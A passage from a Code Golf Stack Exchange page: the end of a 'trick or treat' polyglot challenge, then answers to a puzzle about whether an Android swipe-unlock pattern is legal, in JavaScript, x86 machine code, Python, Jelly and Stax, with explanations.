[this](https://tio.run/##Dc9nV5JhGAfwr2I0bS@zrbazbXsPs0Jp27B1bh4RUbMBVKhADEVRVDYP03OuPw@dk@fchz6C1xd54t3v7a@zw2Tq0XVjMysRuFqX8kM1sDmp6zoLt6G7zdjeZWhqrKf8khps0P94/tplTMZlQiZlSqZlRqp11XhVrRaqxX@KdEindMmsDMowD/jYNsi2YbZ5WTGzorDSy4qFlT5WrHXLDMtXrFy1ek392nXrN2zctHnL1m3bG3Y07ty1e8/effubmlsOHDx0@MjRY8dbT5w8dfrM2XNt5y9cvHT5ytVr12/cvHX7zt177fc7Hjx8ZOzsMj1@8vTZ8xcvu1@9fvO25937Dx8/VVK1hhxjMVqxs/CyCLHwsfAvWllEtZqymr1s1YqVdFmwcLEYqW1ZeFgEWDhYOBfdbAlofhY5zVHu10qaWjaTnwIUpHGaoBBN0hSFaZpmKCLzNEfzFKUYxSlBSUpRmjKkUpZylKcCFalECxAwQ0EvLOiDFf2wYQCDGMJnDOMLvuIbvsMOB5z4gZ/4BRdGMIoxuOGBF7/hgx8BBDGOCYQwiSmEMY0ZRDCLOcwjihjiSCCJFNLIQEUWOeRRQBElLPwH) to convert from Jelly's code page to 05AB1E's code page. [This](https://tio.run/##DdHnUlNRGEbhW8FYsTfEDtjFjr0XBA3EjgXb7BxCCCCWJGqAJKZAIBAgPSeVme/NiTMysydegt@NHPPv@btmdXWYTL26bmxmJcLm5L/8cA1wteq6jpKhp83Y3m1oaqxHHnMN@m/PH7uMybhMyKRMybTMSLWuGq@q1UK1@FeRDumULpmVQRnmQR/bhtg2wjYvK2ZWFFb6WLGw0s@KtW6ZYfmKlatWr6lfu279ho2bNm/Zum17w47Gnbt279m7b39Tc8uBg4cOHzl67HjriZOnTp85e67t/IWLly5fuXrt@o2bt27fuXuv/X5H54OHxq5u06PHT54@e/6i5@Wr12963757/@FjJVWLkOMsxip2Fl4WIRY@Fv4lK4uoVlNWs5etWrGSLgsWLhajLNwsPCwCLBwsnEtutgQ0P4uc5igPaCVNLZvJTwEK0gRNUoimaJrCNEOzFJF5mqcFilKM4pSgJKUoTRlSKUs5ylOBilSiRQiYoaAPFvTDigHYMIghDOMTRvAZX/AV32CHA058xw/8hAujGMM43PDAi1/wwY8AgpjAJEKYwjTCmMEsIpjDPBYQRQxxJJBECmlkoCKLXG1bAUWUsPgf) does the reverse in case anyone is interested. Jelly code page is [here](https://github.com/DennisMitchell/jelly/wiki/Code-page). 05AB1E code page is [here](https://github.com/Adriandmen/05AB1E/wiki/Codepage). [Answer] # [ShapeScript](http://github.com/DennisMitchell/shapescript) / [Foo](http://esolangs.org/wiki/Foo), 13 bytes ``` 'trick'"treat ``` **Try it online!** [trick](http://shapescript.tryitonline.net/#code=J3RyaWNrJyJ0cmVhdA&input=) | [treat](http://foo.tryitonline.net/#code=J3RyaWNrJyJ0cmVhdA&input=) ### How it works ShapeScript is parsed character by character. When EOF is hit without encountering a closing quote, nothing is ever pushed on the stack. `'trick'` does push the string inside the quotes, which is printed to STDOUT implicitly. Foo doesn't have any commands assigned to the characters is `'trick'`, so that part is silently ignored. It does, however, print anything between double quotes immediately to STDOUT, even if the closing quote is missing. [Answer] ## Ruby / Perl, 21 bytes ``` print"trick"%1||treat ``` ### Perl Calculates `"trick" % 1` which is `0 % 1` so the `||` sends `treat` to `print` instead, since Perl accepts barewords. ### Ruby Formats the string `"trick"` with the argument `1`, which results in `"trick"` which is truthy, so the `||` isn't processed. [Answer] # [MATL](https://github.com/lmendo/MATL) / [CJam](https://sourceforge.net/projects/cjam/), 17 bytes ``` 'TRICK'%];"TREAT" ``` In MATL this [outputs](http://matl.tryitonline.net/#code=J1RSSUNLJyVdOyJUUkVBVCI&input=) `TRICK`. In CJam it [outputs](http://cjam.tryitonline.net/#code=J1RSSUNLJyVdOyJUUkVBVCI&input=) `TREAT`. ## Explanation ### MATL ``` 'TRICK' Push this string %];"TREAT" Comment: ignored Implicit display ``` ### CJam ``` 'T Push character 'T' R Push variable R, predefined to empty string I Push variable I, predefined to 18 C Push variable C, predefined to 12 K Push variable K, predefined to 20 '% Push character '%' ] Concatenate stack into an array ; Discard "TREAT" Push this string Implicit display ``` [Answer] # Objective-C / C, 50 bytes ``` puts(){printf("trick");}main(){printf("treat\n");} ``` Objective-C got candy and [prints treat](http://ideone.com/Hdt3fO), but C didn't and [prints trick](http://ideone.com/eRC6M2). ### How it works I don't know a lot about **Objective-C**, but it does what we'd reasonably expect in this situation. The re-definition of `puts` doesn't affect the output since we never call the function, and `main` prints **treat** and a linefeed to STDOUT. You might expect **C** to do the same, but at least gcc 4.8, gcc 5.3, and clang 3.7 don't. Since we do not need the *real* **printf** (which takes a format string and additional arguments) and the string to be printed ends with a linefeed, we can use **puts** instead. **puts** is slightly faster than **printf** (which has to analyze its arguments before printing), so unless we redefine the function **printf** as well, the compiler optimizes and replaces the call to **printf** with a call to **puts**. Little does the compiler know that calling `puts` with argument `"treat"` will print **trick** instead! Not including **stdio.h** is crucial here, since defining **puts** would require using the same type it has in the header file (`puts(const char*)`). Finally, it is noteworthy that the call to **printf** in **puts** passes a string *without* a trailing linefeed. Otherwise, the compiler would "optimize" that call as well, resulting in a segmentation fault. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly) / [pl](http://github.com/quartata/pl-lang), 12 bytes ``` 0000000: 74 72 65 61 74 0a 7f fe 00 ba 49 fb treat.....I. ``` This is the program displayed using [Jelly's code page](https://github.com/DennisMitchell/jelly/wiki/Code-page). ``` treatµ “¡ṾI» ``` [Try it online!](http://jelly.tryitonline.net/#code=dHJlYXTCtQrigJzCoeG5vknCuw&input=) This is the program displayed using [code page 437](https://en.wikipedia.org/wiki/Code_page_437#Characters). ``` treat ⌂■␀║I√ ``` [Try it online!](http://pl.tryitonline.net/#code=dHJlYXQK4oyC4pag4pCA4pWRSeKImg&input=) Both programs have been tested locally with the same 12 byte file, so this is a proper polyglot. ### How it works In Jelly, every line defines a *link* (function); the last line defines the *main link*, which is executed automatically when the program is run. Unless the code before the last `7f` byte (the linefeed in Jelly's code page) contain a parser error (which would abort execution immediately), they are simply ignored. The last line, `“¡ṾI»` simply indexes into Jelly's dictionary to fetch the word **trick**, which is printed implicitly at the end of the program. I don't know much about pl, but it appears that the interpreter only fetches one line of code and ignores everything that comes after it. As in Perl, barewords are treated as strings, so `treat` prints exactly that. [Answer] ## Batch/sh, 30 bytes ``` :;echo Treat;exit @echo Trick ``` Explanation. Batch sees the first line as a label, which it ignores, and executes the second line, which prints Trick. The @ suppresses Batch's default echoing of the command to stdout. (Labels are never echoed.) Meanwhile sh sees the following: ``` : echo Treat exit @echo Trick ``` The first line does nothing (it's an alias of `true`), the second line prints Treat, and the third line exits the script, so the @echo Trick is never reached. [Answer] # sed / Hexagony 32 bytes ``` /$/ctrick #$@$a</;r;e;/t;....\t; ``` --- # sed [Try it Online!](http://sed.tryitonline.net/#code=LyQvY3RyaWNrCiMkQCRhPC87cjtlOy90Oy4uLi5cdDs&input=) The first line prints `trick` if there is an empty string at the end of input. (sed doesn't do anything if there isn't input, but a blank line on stdin is allowed in this case) **Example run:** ``` $ echo | sed -f TrickOrTreat.sed trick ``` --- # Hexagony [Try it Online!](http://hexagony.tryitonline.net/#code=LyQvY3RyaWNrCiMkQCRhPC87cjtlOy90Oy4uLi5cdDs&input=) The first `/` redirects the instruction pointer up and the the left, so it wraps the the bottom left, skipping the text used for sed. It reuses the r from the sed code and runs a few others to no effect. The expanded hex looks like this: ``` / $ / c t r i c k # $ @ $ a < / ; r ; e ; / t ; . . . . \ t ; . . . . . . ``` **Output:** ``` treat ``` [Answer] # C# / Java This probably doesn't qualify as it doesn't run on its own, but the challenge has reminded me of a quirk in how C# and Java handle string comparison differently that you can have some fun with for code obfuscation. The following function is valid in C# and Java, but will return a different value... ``` public static String TrickOrTreat(){ String m = "Oct"; String d = "31"; return m + d == "Oct31" ? "Trick" : "Treat"; } ``` [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak) / Brain-Flueue, ~~265 253 219 165 139 115 113~~ 101 bytes Includes +1 for `-A` Thanks to Wheat Wizard for going back and forth, golfing a few bytes off each others code, with me. ``` ((((()()()))([]((({}{}))({}([((({}()())))]([](({}{}){}){}{})))[]))[])[()()])({}()()){}({})({}[][]){} ``` Brain-Flak: [Try it online!](https://tio.run/nexus/brain-flak#NYoxDoBQCEOvQ4d/CM9BGL6DifHHwZVwdiwYgaY0ryk1qAVEjcHDg7@HaKePwZo27KsS1FpaHcNfppFSaoQemTm2HGt/5nkfa14v) Brain-Flueue: [Try it online!](https://tio.run/nexus/brain-flak#NYpBCsBACAO/sznsI/oO8dDCFgpLD4U9iW@30VI1xDCJloNcoIkymJvzN29S6WPQogXrsgTRkmRH8ZdppJQooXlE9C36PJ79us@5xhov) **Explanation:** The first section lists the values that Brain-Flak sees. When it switches to Brain-Flueue, I start listing the values as Brain-Flueue sees them. ``` # Brain-Flak ( (((()()())) # Push 3 twice ([] # Use the height to evaluate to 2 ( (({}{})) # Use both 3s to push 6 twice ({} # Use one of those 6s to evaluate to 6 ([((({}()())))] # Use the other 6 to push 8 three times and evaluate to -8 ([](({}{}){}){}{}) # Use all three 8s to push 75 ) # The -8 makes this push 67 ) # The 6 makes this push 73 []) # Use the height and the 6 to push 82 ) # Use the 2 to push 84 # Brain-flueue []) # Use the height and 3 to push 84 [()()]) # Push 82 ({}()()) # 67 is at the front of the queue, so use that to push 69 {} # Pop one from the queue ({}) # 65 is next on the queue so move to the end ({}[][]) # 74 is next, so use that and the height to push 84 {} # Pop that last value from TRICK ``` [Answer] ## PowerShell / Foo, 14 bytes ``` 'trick'#"treat ``` The `'trick'` in PowerShell creates a string and leaves it on the pipeline. The `#` begins a comment, so the program completes and the implicit `Write-Output` prints `trick`. In Foo, [(Try it Online!)](http://foo.tryitonline.net/#code=J3RyaWNrJyMidHJlYXQ&input=), the `'trick'` is ignored, the `#` causes the program to sleep for `0` seconds (since there's nothing at the array's pointer), then `"treat` starts a string. Since EOF is reached, there's an implicit `"` to close the string, and that's printed to stdout. ]
[Question] [ Most Android smartphones allow the user to use a swipe pattern to open their phone: [![pattern lock](https://i.stack.imgur.com/MgJJj.jpg)](https://i.stack.imgur.com/MgJJj.jpg) Certain patterns are legitimate, and others are impossible. Given an input swipe pattern, return a truthy or falsy indicating if the given input pattern is legal or not. ## Input The grid is labelled row-wise 1 through 9: ``` 1 2 3 4 5 6 7 8 9 ``` The input is a number comprised of the nodes visited from first to last. For example, the swipe pattern above is 12357. Input can be a decimal number, string or list of numbers. It will not contain 0 because there is no node 0. Amendment: indexing 0-8 is allowed since a lot of languages index from 0. If you use 0-8, it'll be necessary to indicate as such at the beginning of your answer and adjust the test cases accordingly. ## Rules * Every node starts as unvisited initially and may only be visited once. Any pattern which visits a node more than once is falsy. * A truthy pattern must contain at least one swipe, so a minimum of 2 nodes. * It's not possible to skip over an unvisited node directly in line with another. For example, 13 is falsy because 2 is unvisited and directly in line. * It is only possible to skip over a visited node. 42631 is an example of this. * Lines may cross otherwise. For example, 1524 is truthy. * Assume node widths are insignificant and ignore practical issues (finger thickness, etc). So 16 is truthy even though it may be slightly harder to achieve in reality. ## Test Cases ``` 1 -> false 12 -> true 13 -> false 16 -> true 31 -> false 33 -> false 137 -> false 582 -> true 519 -> true 1541 -> false 12357 -> true 15782 -> true 19735 -> false 42631 -> true 157842 -> true 167294385 -> true 297381645 -> false 294381675 -> true ``` This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the fewest number of bytes wins. [Answer] # JavaScript (ES6), 64 bytes Takes input as an array of numbers. Falsy values are **0** or **NaN**. Truthy values are strictly positive integers. ``` a=>a[p=1]*a.every(n=>a[p=a[n&p&p*n%5<0|~(p-=n)==9&&p/2]&&-n]^=p) ``` [Try it online!](https://tio.run/##dY9NTsMwEIX3PkU2@KeaBOLYpZFqlpyAnTGSVVJoldpWUipVQlw9WDIm7aK7N9/Mm3mztyc7boZdOJbOv3fTVk1WPVkdVG0WtupO3XCmLhGrHQ44LNydXD98/9BQKseUajEO99xgXDrzpgKbNt6Nvu@q3n9Qol@Gr@Pn2RCGLrlGRaFr4AaSWCYhYZWZhBra3ObQgITHXEY5D0ZzLDm0IOLUCmTCIqJlBPW1SWTbbEgLpEEGVQcb6JZVe79zlBSEMXQVm7w6/Wz78cY/@VSTxP/xJpPYuvxCzOnaGKHJ2flfmbKJW9mmXw "JavaScript (Node.js) – Try It Online") ## How? ### Preamble Two digits are vertically, horizontally or diagonally opposed if: * they are both odd, different from each other and different from 5 (figure 1) * OR they are both even and their sum is 10 (figure 2) [![opposed digits](https://i.stack.imgur.com/GEa2y.png)](https://i.stack.imgur.com/GEa2y.png) Besides, the digit standing between two opposed digits **n** and **p** is equal to **(n + p) / 2**. ### Formatted source code ``` a => // force a falsy result if a[1] is undefined a[p = 1] * // walk through all values n in a[] a.every(n => // access either a[-n] or a[undefined] a[ // set p to either -n or undefined p = // read either a[0] or a[in_between_digit] a[ n & p & p * n % 5 < 0 | ~(p -= n) == 9 && p / 2 ] && -n ] // toggle the flag ^= p ) ``` ### Keeping track of previous digits Flags for visited digits are stored at negative indices in the input array **a**, so that they don't collide with its original elements. * If **p** is set to **-n**: If the current digit **n** was not previously selected, `a[-n] ^= -n` will set the flag and let the `every()` loop go on with the next iteration. Otherwise, it will clear the flag and force the loop to fail immediately. * If **p** is set to **undefined**: `a[undefined] ^= undefined` results in **0**, which also forces the loop to fail. ### Detecting opposed digits The following expression is used to test whether the current digit **n** and the previous digit **-p** are opposed digits, as defined in the preamble: ``` n & p & ((p * n) % 5 < 0) | ~(p -= n) == 9 ``` which is equivalent to: ``` n & p & ((p * n) % 5 < 0) | (p -= n) == -10 ``` *Note: In JS, the result of the modulo has the same sign as the dividend.* It can be interpreted as: ``` (n is odd AND -p is odd AND (neither -p or n is equal to 5)) OR (n + -p = 10) ``` Therefore, this expression returns **1** if and only if **n** and **-p** are opposed digits *or* they are the same odd digit. Because a digit can't be selected twice, this latter case is correctly taken care of anyway. If this expression returns **1**, we test **a[p / 2]** (where **p** is now equal to the negated sum of the digits) in order to know whether the 'in-between digit' was previously visited. Otherwise, we test **a[0]** which is guaranteed to be truthy. ### About the first iteration The first iteration is a special case, in that there is no previous digit and we want it to be unconditionally successful. We achieve that by initializing **p** to **1**, because for any **n** in **[1 .. 9]**: * `(1 * n) % 5` can't be negative * `~(1 - n)` can't be equal to 9 --- # Original answer, 90 bytes *Removed from this post so that it doesn't get too verbose. You can [see it here](https://codegolf.stackexchange.com/revisions/155585/9).* [Answer] # x86 32-bit machine code, ~~62~~ 60 bytes Hexdump: ``` 33 c0 60 8b f2 33 db 99 80 f9 02 72 2d ad 50 0f ab c2 72 25 3b c3 77 01 93 2b c3 d1 e8 72 14 68 92 08 0e 02 0f a3 5c 04 ff 5f 73 07 03 d8 0f a3 da 73 06 5b e2 d7 61 40 c3 58 61 c3 ``` It receives the length of the list in `ecx` and a pointer to the first element in `edx`, and returns the result in `al`: ``` __declspec(naked) bool __fastcall check(int length, const int* list) ``` There are 8 lines that contain a node in the middle: ``` 1 - 3 4 - 6 7 - 9 1 - 7 2 - 8 3 - 9 1 - 9 3 - 7 ``` I grouped them according to the difference between the bigger and the smaller number. ``` Difference 2: 3 lines (starting at 1, 4 or 7) 1 - 3 4 - 6 7 - 9 Difference 4: 1 line (starting at 3) 3 - 7 Difference 6: 3 lines (starting at 1, 2 or 3) 1 - 7 2 - 8 3 - 9 Difference 8: 1 line (starting at 1) 1 - 9 ``` Then, I converted that to a 2-D lookup table indexed by half-difference and smaller number: ``` 76543210 -------- 10010010 - half-difference 1 00001000 - half-difference 2 00001110 - half-difference 3 00000010 - half-difference 4 ``` This makes a "magic" bitmap of 32 bits. To index it, the code pushes it into the stack. Then, it extracts one byte using one index, and from that byte, it extracts one bit using the other index. All this using one instruction: ``` bt byte ptr [esp + eax - 1], ebx; // -1 because half-difference is 1-based ``` If the bitmap indicates that there is a node in the middle, it's easy to calculate - add half the difference to the smaller number. Assembly source: ``` xor eax, eax; // prepare to return false pushad; // save all registers mov esi, edx; // esi = pointer to input list xor ebx, ebx; // ebx = previously encountered number = 0 cdq; // edx = bitmap of visited numbers = 0 cmp cl, 2; // is input list too short? jb bad_no_pop; // bad! again: lodsd; // read one number push eax; bts edx, eax; // check and update the bitmap jc bad; // same number twice? - bad! cmp eax, ebx; // sort two recent numbers (ebx = minimum) ja skip1; xchg eax, ebx; skip1: // Check whether the line crosses a node sub eax, ebx; // calculate half the difference shr eax, 1; jc skip_cross; // odd difference? - no node in the middle push 0x020e0892;// push magic bitmap onto stack bt byte ptr [esp + eax - 1], ebx; // is there a node in the middle? pop edi; jnc skip_cross; // no - skip the check add ebx, eax; // calculate the node in the middle bt edx, ebx; // was it visited? jnc bad; // no - bad! skip_cross: pop ebx; loop again; // The loop was finished normally - return true popad; // restore registers inc eax; // change 0 to 1 ret; // return // Return false bad: pop eax; // discard data on stack bad_no_pop: popad; // restore registers ret; // return ``` [Answer] # [Python 2](https://docs.python.org/2/), ~~140~~ ~~131~~ ~~114~~ ~~104~~ 99 bytes -2 bytes thanks to [Jonathan Frech](https://codegolf.stackexchange.com/users/73111/jonathan-frech) -5 bytes thanks to [Chas Brown](https://codegolf.stackexchange.com/users/69880/chas-brown) ``` v={0};k=input() for l,n in zip(k,k[1:])or q:(2**n+~2**l)%21%15%9==5<v-{l+n>>1}==v>q;v|={l};n in v>q ``` [Try it online!](https://tio.run/##TU7LboMwELzzFRYSAhJXqnmkAWpu6bG99BZxoNQRCMcQ19BSSn@dLg@lucx6ZjyzW3cqr4QzZtU7o7qujy3t74eopIWoG2XZ2qmSiGOBCoG@i9oqcXkkYWKDegktZ7MR219AbhsOMYhvBJT6j@1dz7cijslAaRtfovaH9nyI5hLgI@zRPvOCM/QqGxZqCCnZTQMh9sUyNB0zs1oWQiFTyUblnalNdsZqhQ4vTwcpK7lk3iRLy3/zOT2zG3ftOKX8g3XmeCTYSTTAHaCP9ytzsIt9/DC/Ya66B/oOHHKje0tiVtwZA8Dlj7sq7rXJW7MBZGFD8gc "Python 2 – Try It Online") ## Explanation: ``` # full program, raising a NameError for invalid input v={0} # set of visited nodes k=input() # load pattern # iterate through adjacent pairs, if there is no pair, raise a NameError for l,n in zip(k,k[1:])or q: # detect moves skipping over nodes, details below (2**n + ~2**l) % 21 % 15 % 9 == 5 < v - {l+n >> 1} == v > q v |= {l} # add the last node to the set of visited nodes n in v > q # if the current node was previously visited, raise a NameError ``` [Try it online!](https://tio.run/##bVNNc9owEL37V7yB6QCJy5SvtDA1t/TYXnrLcFDsBVSE5MiyKU3pX6cr2Xwkg2e8wm8/3tPuku/d2ujhMTUZJa1W69jGslQKuTUrK7YxrJCF1CsIfBdberTWWCz5lboSSmZ85qWLquT10wFXTxsFOZglKk53lEEzQRFtkhDf7V3ilBEZcuEcWR21wcFWOIJbW1Ou1hDZL5GSdhwibRFDLtlFliALrhnQWiRdS4y8RBVrloc/Mu9u4s3TYLboMfoyizxtRo5Sh62pqECxkXnub8lftpYa@wghVYFnUmbHOd3h3Z3GPf7xqXr4gOGAzWDCZookwQRfUeEjXtW9xnyOwcGjFeZ44ewKfxN2Hc73FlnmbwIlChco4UwAbjYOUEig3zfYx6eltb5B1zVCUaOJ80IPgoomr@7g27SdKHjkVElTFmp/4r7R2CPvSLRbS0X4aUvyvXR27w@AflMKv0hniR4pwzApOML4pEMmM91xdfUMQqPeq36/HwrlVrKwjrOlW@87vhB7QpGwPUFt7Yw8a0q5uyicXV3RazmRXO3vO56lUIWnuckTnBeaxx/fGpaaZscEJNI11cMknfnZXUqcqJ45avPm/xGoyG6lFk2HlDH58WkQDxcR2we2k/hL8zWMR/Ek/hx@89ngY8Yf2DO4wsd1RkBGwU7Z1jGjBhmdK42b3CnnMsPiPw "Python 2 – Try It Online") Only 8 pairs of nodes have a node in between them. A pair of nodes can be represented as a single integer by the formula `2^a-2^b-1`. This number can be shortened by repeated modulo: ``` a b 2^a-2^b-1 (2^a-2^b-1)%21%15%9 1 3 -7 5 1 7 -127 5 1 9 -511 5 2 8 -253 5 3 1 5 5 3 7 -121 5 3 9 -505 5 4 6 -49 5 6 4 47 5 7 1 125 5 7 3 119 5 7 9 -385 5 8 2 251 5 9 1 509 5 9 3 503 5 9 7 383 5 ``` `(2**n+~2**l)%21%15%9==5` first checks if such a pair is present, then `v-{l+n>>1}==v` tests whether the node in between, which is given by `(a+b)/2`, was not visited yet and `q` raises a NameError. By using chained comparison between these pairs, the next comparison is only executed when the previous returned `True`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~24 22 19 18~~ 17 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -2 since we are no longer required to handle an empty list -1 switching from join, `j@`, to concatenate, `;` (the missed item does not *need* to be encountered in the middle for the method employed, being at the start of the trio is fine) -2 switching from `P¬aSH` to `oSH`(OK to have two results since we flatten, half of `1` is `0.5` which is filtered out anyway, and having multiple equal results has no affect on the method employed either) -1 Thanks to Mr. Xcoder (0-indexed input is allowed) -1 using the (newer) invariance quick, `Ƒ`, and filter-keep quick alias, `Ƈ`. ``` d3ZIỊoSH;µƝFḞƑƇQ⁼ ``` A monadic link taking a list of integers in `[0,8]` and returning a truthy value (`1`) if legal and a falsey value (`0`) if not. **[Try it online!](https://tio.run/##ATQAy/9qZWxsef//ZDNaSeG7im9TSDvCtcadRuG4nsaRxodR4oG8////WzMsNCw3LDEsMiw4LDNd "Jelly – Try It Online")** or see a [test-suite](https://tio.run/##y0rNyan8/z/FOMrz4e6u/GAP60Nbj811e7hj3rGJx9oDHzXu@X@4/VHTmqN7HI5OerhzBpDpDcSR//9HRxvE6kQb6BgBSSMdAzBpBBHRMQPTJjrGOhA1FjpmQFETMNtQxxQobg4Ug6kzBKtEEQGTpkDSBChuCFUFNAFushlU3BhsnhHUHoi4MVyHKYrJsQA "Jelly – Try It Online"). ### How? Looks at each adjacent pair of 0-indexed nodes in the input list. If the integer division by three of the two differs by 2 they are on the top and bottom rows, if the modulo by three of the two differs by 2 they are in the left and right columns. The sum of such pairs divided by two is either the 0-indexed mid-node of a three-node-line or a non-integer value -- so these values are first inserted in-front of the 0-indexed pair and then any bogus nodes (like `0.5` or `3.5`) are removed, the resulting list of lists is flattened and then de-duplicated (to yield order-preserved, unique entries) and finally compared to the input - for a legal swipe all of this will end up being a no-op while illegal ones will add missing mid-nodes and/or remove duplicate nodes (note that no special casing is required for an input list of length 1 since it has no adjacent pairs): ``` d3ZIỊoSH;µƝFḞƑƇQ⁼ - left input is a list of integers e.g. [3,4,7,1,2,8,3] µƝ - perform the chain to the left for adjacent pairs: - e.g. for [a,b] in: [3,4] [4,7] [7,1] [1,2] [2,8] [8,3] d3 - divmod by 3 [[1,0],[1,1]] [[1,1],[2,1]] [[2,1],[0,1]] [[0,1],[0,2]] [[0,2],[2,2]] [[2,2],[1,0]] Z - transpose [[1,1],[0,1]] [[1,2],[1,1]] [[2,0],[1,1]] [[0,0],[1,2]] [[0,2],[2,2]] [[2,1],[2,0]] I - differences [0,1] [1,0] [-2,0] [0,1] [2,0] [-1,-2] Ị - abs(v)<=1 [1,1] [1,1] [0,1] [1,1] [0,1] [1,0] S - sum (of [a,b]) 7 11 8 3 10 11 o - OR (vectorises) [1,1] [1,1] [8,1] [1,1] [10,1] [1,11] H - halve (vectorises) [0.5,0.5] [0.5,0.5] [4,0.5] [0.5,0.5] [5,0.5] [0.5,5.5] ; - concatenate [0.5,0.5,3,4] [0.5,0.5,4,7] [4,0.5,7,1] [0.5,0.5,1,2] [5,0.5,2,8] [0.5,5.5,8,3] F - flatten [0.5,0.5,3,4, 0.5,0.5,4,7, 4,0.5,7,1, 0.5,0.5,1,2, 5,0.5,2,8, 0.5,5.5,8,3] Ƈ - keep those for which: Ƒ - is invariant under?: Ḟ - floor [ 3,4, 4,7, 4, 7,1, 1,2, 5, 2,8, ,8,3] Q - deduplicate [3,4,7,1,2,5,8] ⁼ - equal to the input? e.g. 0 (here because 5 was introduced AND because 3 was removed from the right) ``` --- Previous method [Jelly](https://github.com/DennisMitchell/jelly), ~~36~~ 35 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` 9s3;Z$;“Æ7a‘DZ¤;U$;©0m€2iị®oµƝFQ⁼ȧȦ ``` [Try it online!](https://tio.run/##AUwAs/9qZWxsef//OXMzO1okO@KAnMOGN2HigJhEWsKkO1UkO8KpMG3igqwyaeG7i8Kub8K1xp1GUeKBvMinyKb///9bMSw1LDcsOCw0LDJd "Jelly – Try It Online") or see a [test-suite](https://tio.run/##y0rNyan8/9@y2Ng6SsX6UcOcw23miY8aZrhEHVpiHapifWilQe6jpjVGmQ93dx9al39o67G5boGPGvecWH5i2f/D7UCpo3scjk56uHMGkOkNxJH//0dHx@pEG4KwjjGQNNYxBJPGEBEdczBtqmOiA1FjqWMOFDUFs410zIDiFkAxmDojsEoUETBpBiRNgeJGUFVAE@Amm0PFTcDmGUPtgYibwHWYoZgcCwA "Jelly – Try It Online"). ### How? Similar to the above but constructs all three-node-line possibilities and performs look-up (rather than checking as it goes using divmod to test and halving the sum for the mid-node). Firstly the construction of the list of three-node-lines: ``` 9s3;Z$;“Æ7a‘DZ¤;U$;©0 9s3 - nine (implicit range) split into threes = [[1,2,3],[4,5,6],[7,8,9]] $ - last two links as a monad: Z - transpose = [[1,4,7],[2,5,8],[6,7,9]] ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9]] ¤ - nilad followed by link(s) as a nilad: “Æ7a‘ - code-page index list = [13,55,97] D - decimal (vectorises) = [[1,3],[5,5],[9,7]] Z - transpose = [[1,5,9],[3,5,7]] ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7]] $ - last two links as a monad: U - upend = [[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3]] ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3]] 0 - literal zero (to cater for non-matches in the main link since ị, index into, is 1-based and modular the 0th index is the rightmost) ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3],0] © - copy the result to the register ``` Now the decision making: ``` ...m€2iị®oµƝFQ⁼ȧȦ - left input is a list of integers e.g. [4,5,8,2,3,9,4] µƝ - perform the chain to the left for adjacent pairs: - i.e. for [a,b] in [[4,5],[5,8],[8,2],[2,3],[3,9],[9,4]] ... - perform the code described above = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3],0] m€2 - modulo-2 slice €ach = [[1,3],[4,6],[3,9],[1,7],[2,8],[6,9],[1,9],[3,7],[3,1],[6,4],[9,7],[7,1],[8,2],[9,3],[9,1],[7,3],[0]] i - index of [a,b] in that (or 0 if not there) e.g. [0,0,13,0,6,0] ® - recall from register = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3],0] ị - index into (1-based & modular) e.g. [0,0,[8,5,2],0,[3,6,9],0] o - OR [a,b] e.g. [[4,5],[5,8],[8,5,2],[2,3],[3,6,9],[9,4]] F - flatten e.g. [4,5,5,8,8,5,2,2,3,3,6,9,9,4] Q - deduplicate e.g. [4,5,8,2,3,6,9] ⁼ - equal to the input? e.g. 0 (here because 6 was introduced AND because 4 was removed from the right) Ȧ - any and all? (0 if input is empty [or contains a falsey value when flattened - no such input], 1 otherwise) ȧ - AND (to force an empty input to evaluate as 1 AND 0 = 0) ``` [Answer] # [Stax](https://github.com/tomtheisen/stax), 28 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` æ¡_t¿♂≥7▼├öä▒╨½╧£x╪╨┌i╒ë╖¢g• ``` [Run it](http://stax.tomtheisen.com/#c=%C3%A6%C2%A1_t%C2%BF%E2%99%82%E2%89%A57%E2%96%BC%E2%94%9C%C3%B6%C3%A4%E2%96%92%E2%95%A8%C2%BD%E2%95%A7%C2%A3x%E2%95%AA%E2%95%A8%E2%94%8Ci%E2%95%92%C3%AB%E2%95%96%C2%A2g%E2%80%A2&i=%5B1%5D%0A%0A%5B1%2C3%5D%0A%0A%5B3%2C1%5D%0A%0A%5B3%2C3%5D%0A%0A%5B1%2C3%2C7%5D%0A%0A%5B1%2C5%2C4%2C1%5D%0A%0A%5B1%2C9%2C7%2C3%2C5%5D%0A%0A%5B1%2C2%5D%0A%0A%5B1%2C6%5D%0A%0A%5B5%2C8%2C2%5D%0A%0A%5B1%2C2%2C3%2C5%2C7%5D%0A%0A%5B1%2C5%2C7%2C8%2C2%5D%0A%0A%5B4%2C2%2C6%2C3%2C1%5D%0A%0A%5B1%2C5%2C7%2C8%2C4%2C2%5D&a=1&m=1) It produces 0 for false, and positive integers for true. The corresponding ascii representation of the same program is this. ``` cu=x%v*x2BF1379E-%_|+YA=!*yhxi(#+* ``` The general idea is calculate several necessary conditions for legal swipe patterns and multiply them all together. ``` cu= First: no duplicates x%v* Second: length of input minus 1 x2B Get all 